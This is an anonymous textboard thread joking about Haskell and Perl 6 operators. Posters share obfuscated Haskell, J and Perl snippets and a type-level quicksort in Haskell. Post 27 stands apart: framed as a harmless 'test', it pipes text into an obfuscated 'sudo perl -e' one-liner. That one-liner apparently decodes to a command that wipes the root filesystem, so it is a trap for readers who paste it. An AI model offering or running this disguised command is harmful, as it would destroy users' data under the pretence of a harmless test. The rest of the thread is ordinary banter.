Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon.

Pages: 1-

The ".|." operator

Name: Anonymous 2011-02-19 12:25


! <+> <> +++ <-> <|> // <$> </> >< ## $$ << <?> ==> !! # $+$ /=? <&>
|+ |- &&? .* .|. <$$> <.> <||> ==? ? \\/ ||? !> $ && &&& &&@ *. -<-
-=- ->- . .&. .&.? .= /=@ /\\ <*> <+ <. <//> <:> <== <=> <=? <=@ <?
<@ <|*|> =<< ==@ >-> >. >:> >=> >=? >=@ >>> >? >@ \\\\ ^ ^^ |* |> ||
||* ||+ ||@ ||| ~: ~? ~~ !!! !-> !.! !>>= $! $$= $=! $> $~ $~! % %:
%= & &&. &> * *& *&&&* *&* ** *** ***** *<<<* *=* *=>* *> *>>>* *|*
+ ++ ++>> +/+ +: += +> +>> - -!- --> -->> -/\\- -::- -< -<=- -=> -?-
-?> -?>> -\\/- -| -|- -~> .$. .+ .++. .--. .-. .->. ... .... ./. ./=
.: .< .<= .== .=> .> .@. .\\. / /+/ /- /=&& /=. /==> /=> /=|| />/ /|
/~ /~? :+ :-> <$ <$?> <* <**> <++ <++> <-$ <-- </=? <<! <<< <<^ <<|
<<~ <=. <==? <@> <|?> =$$= =$= =*= =/= =< =<<! =<= =<>= ==&& ==. ===
===> ==|| =>> =~ =~~ >*> >++> >-- >=. >== >===> >=>=> >> >>= >>=#
>>@ >>^ >|< >||< ?&&? ?+ ?? ?||? @=? @? @?= @@ \\== ^# ^% ^. ^<< ^>>
^^. ^^^ |*| |-| |. |..| |.| |/ |// |: |<- |= |=| |? |\\ |\\\\ ||.
|||| ~=? ~> ~?= ~|||~ ~||~ ~|~ ~~> ~~? ~~~>

Name: Anonymous 2011-02-19 12:27


~:

Name: ⊥ 2011-02-19 12:27

⊥

Name: Anonymous 2011-02-19 12:33

>>1
VALID PERL 6 CODE

Name: Anonymous 2011-02-19 13:04

It's like I'm really playing Dwarf Fortress!

Name: Anonymous 2011-02-19 19:39

>>5
You mean you're not actually playing df?!

Name: Anonymous 2011-02-19 20:36

>>1
WHAT THE FUCK IS THIS, AND WHAT DOES IT DO????

Name: Anonymous 2011-02-19 21:01

>>7
Some of Haskell operators.

Name: Anonymous 2011-02-19 21:33

>>8
Perl 6's got more than this.

Name: Anonymous 2011-02-19 22:36

>>9
Because Perl 6 is a new version of Haskell.

Name: Anonymous 2011-02-19 22:37

>>9
http://glyphic.s3.amazonaws.com/ozone/mark/periodic/Periodic%20Table%20of%20the%20Operators%20A4%20300dpi.jpg

Not really. (Be thankful Perl 6 isn't like an ML-dialect w/ strictly typed operators.)

Name: Anonymous 2011-02-19 23:07

>>11
It's outdated, really. Now it has even more metaoperators and stuff.

Name: Anonymous 2011-02-20 2:13


Lisp              | Haskell
-----------------------------------------
map f l           | map f l
map list l1 l2    | zip l1 l2
map list l1 l2 l3 | zip3 l1 l2 l3
map f l1 l2       | zipWith f l1 l2
map f l1 l2 l3    | zipWith3 f l1 l2 l3

Name: Anonymous 2011-02-20 2:14

Lisp:

(`+` 3 4 5 ?) 6

Haskell:

(3 `f` 4 `f` 5 `f`) 6

Name: Anonymous 2011-02-20 3:32

>>12
Stop talking out of your ass.

Name: Anonymous 2011-02-20 7:42

>>13
Lisp
``in Lisp''
>>14
Lisp
``in Lisp''

Name: >>16 2011-02-20 7:44

>>13,14
Haskell
You've got pretty low standard on what to compare your DSL to.

Name: Anonymous 2011-02-20 8:04

>>17
Dsl internet haskel codan. wat

Name: Anonymous 2011-02-20 8:16

>>17
I don't see yout point. If he is trying to prove his DSL is expressive annd concise, his choices for comparison are either Haskell or Perl.

IHBT

Name: Anonymous 2011-02-20 9:02

>>19
Not J? That's right, bitches can not beat J.

Name: Anonymous 2011-02-20 10:48

>>19
Haskell or Perl.
More like, ``if he is trying to prove his DSL is obsfuscated and unreadable''. You know what happens when someone writes ``concise'' code in Haskell (>>1) or Perl (http://search.cpan.org/dist/Acme-EyeDrops/lib/Acme/EyeDrops.pm).

Name: Anonymous 2011-02-20 10:49

<-- check 'em dubz

Name: Anonymous 2011-02-20 13:24

>>20
Lisp:

qsort[h@t]-> f:qsort<>keep [@(f ?<h t) h @(f ?>=h t)]
J:

qsort =: (($:@(<#[) , (=#[) , $:@(>#[)) ({~ ?@#)) ^: (1<#)

Name: Anonymous 2011-02-20 13:29

>>23
Lisp
``in Lisp''

Also, the forced obfuscation of code. Thread over.

Name: Anonymous 2011-02-20 13:47


 module Main where{import List;import System;
 import Data.HashTable as H;(???????)=(concat
 );(??????)(???)(????)=((groupBy)(???)(????))
 ;(??????????????????????)(????)=((??????????
 )((tail).(???????))((????????????????????)((
 ??????)(?????????????????????)(????))));(??)
 =([' ']);(??????????????)=((hashString));(?)
 =((>>=));(???????????????????????)([((???)),
 (????)])=((?????????????)(???))?(\(?????)->(
 (????????????????)(==)(??????????????))?(\((
 ???))->((??????????????????)(???????????????
 )(???)(?????))>>((?????????????????)(???))?(
 \((?????))->((((???????????????????)((????))
 ((??????????????????????))((?????))))))));((
 ???????????????????????))(??)=(????????????)
 ("usage f dic out");(?????????????????????)(
 (???),(??????))((????),(????????????????????
 ))=((???)==(????));(?????????????????)(???)=
 (toList)(???);(????????????????????)(????)=(
 ((??????????)(((??????????)(snd)))((????))))
 ;(??????????????????)(???????????????)(???)(
 (?????))=(((mapM)(((???????????????)(???)))(
 (lines)(?????))));(???????????????????)(????
 )(???????????????????????)(?????)=(?????????
 )(????)((unlines)((???????????????????????)(
 ?????)));(????????????????)(???)((????))=(((
 new)(???)(????)));(main)=((???????????)?(((\
 (???)->((???????????????????????)(???))))));
 (???????????????)(???)(????)=((????????)(???
 )((sort)(????))((??)++(????)));(???????????)
 =(getArgs);(????????????)(???)=((((print))((
 ???))));(??????????)(???)(????)=(((map)(???)
 (????)));(????????)((???))(????)(?????)=((((
 H.insert))((???))(????)(?????)));(?????????)
 ((???))((????))=(((writeFile)(???)((????))))
 ;(?????????????)(???)=(((readFile)((???))))}

Name: Anonymous 2011-02-20 13:48


  module Main where{import GHC.Base;(&)=unsafeCoerce#;main=print(tail
  ((\(!)->map(\(?)->C#((&)(indexWordArray#((&)(?))4#)))(!))([106,117,
  115,116,32,97,32,115,105,109,112,108,101,32,102,117,110,99,116,105,
  111,110,97,108,32,108,97,110,103,117,97,103,101,(0x11)]::[Int])));}

Name: Anonymous 2011-02-20 14:04


echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Name: Anonymous 2011-02-20 14:11

>>25
VALID HASKELL, PERL, PERL 6, ``in Lisp'', APL AND J CODE

Name: Anonymous 2011-02-20 14:25

>>21
expressive annd concise
obsfuscated and unreadable
/təˈmeɪtoʊ/, /təˈmɑtoʊ/.

Name: Anonymous 2011-02-20 15:22

Lisp:

x.{!a->f; !b->g; _->h}

C/C++:

if (x == a) {
  f();
} else if (x == b) {
  g();
} else {
  h();
}

Name: Anonymous 2011-02-20 15:26

>>30
Lisp
``in Lisp''

Name: Anonymous 2011-02-20 15:38

Haskell:

module Sort where
 
 -- natural numbers
 data Zero
 data Succ a
 
 -- booleans
 data True
 data False
 
 -- lists
 data Nil
 data Cons a b
 
 -- shortcuts
 type One   = Succ Zero
 type Two   = Succ One
 type Three = Succ Two
 type Four  = Succ Three
 
 -- example list
 list1 :: Cons Three (Cons Two (Cons Four (Cons One Nil)))
 list1 = undefined
 
 -- utilities
 numPred :: Succ a -> a
 numPred = const undefined
 
 class Number a where
   numValue :: a -> Int
 
 instance Number Zero where
   numValue = const 0
 instance Number x => Number (Succ x) where
   numValue x = numValue (numPred x) + 1
 
 numlHead :: Cons a b -> a
 numlHead = const undefined
 
 numlTail :: Cons a b -> b
 numlTail = const undefined
 
 class NumList l where
   listValue :: l -> [Int]
 
 instance NumList Nil where
   listValue = const []
 instance (Number x, NumList xs) => NumList (Cons x xs) where
   listValue l = numValue (numlHead l) : listValue (numlTail l)
 
 -- comparisons
 data Less
 data Equal
 data Greater
 
 class Cmp x y c | x y -> c
 
 instance Cmp Zero Zero     Equal
 instance Cmp Zero (Succ x) Less
 instance Cmp (Succ x) Zero Greater
 instance Cmp x y c => Cmp (Succ x) (Succ y) c
 
 -- put a value into one of three lists according to a pivot element
 class Pick c x ls eqs gs ls' eqs' gs' | c x ls eqs gs -> ls' eqs' gs'
 instance Pick Less    x ls eqs gs (Cons x ls) eqs gs
 instance Pick Equal   x ls eqs gs ls (Cons x eqs) gs
 instance Pick Greater x ls eqs gs ls eqs (Cons x gs)
 
 -- split a list into three parts according to a pivot element
 class Split n xs ls eqs gs | n xs -> ls eqs gs
 instance Split n Nil Nil Nil Nil
 instance (Split n xs ls' eqs' gs',
           Cmp x n c,
       Pick c x ls' eqs' gs' ls eqs gs) =>
          Split n (Cons x xs) ls eqs gs
 
 listSplit :: Split n xs ls eqs gs => (n, xs) -> (ls, eqs, gs)
 listSplit = const (undefined, undefined, undefined)
 
 -- zs = xs ++ ys
 class App xs ys zs | xs ys -> zs
 instance App Nil ys ys
 instance App xs ys zs => App (Cons x xs) ys (Cons x zs)
 
 -- zs = xs ++ [n] ++ ys
 -- this is needed because
 --
 -- class CCons x xs xss | x xs -> xss
 -- instance CCons x xs (Cons x xs)
 --
 -- doesn't work
 
 class App' xs n ys zs | xs n ys -> zs
 instance App' Nil n ys (Cons n ys)
 instance (App' xs n ys zs) => App' (Cons x xs) n ys (Cons x zs)
 
 -- quicksort
 class QSort xs ys | xs -> ys
 instance QSort Nil Nil
 instance (Split x xs ls eqs gs,
           QSort ls ls',
       QSort gs gs',
       App eqs gs' geqs,
       App' ls' x geqs ys) =>
          QSort (Cons x xs) ys
 
 listQSort :: QSort xs ys => xs -> ys
 listQSort = const undefined

Name: Anonymous 2011-02-20 15:39

>>1
dubz<

Name: Anonymous 2011-02-20 15:40

>>32
All this is just to do some super hygienic quicksort.

Name: Anonymous 2011-02-20 20:56

quacksort
Don't change these.
Name: Email:
Entire Thread Thread List
All trademarks and copyrights on this site are owned by their respective parties. All comments and posts are the responsibility of their own posters.
- Tinychan + 2ch Mode -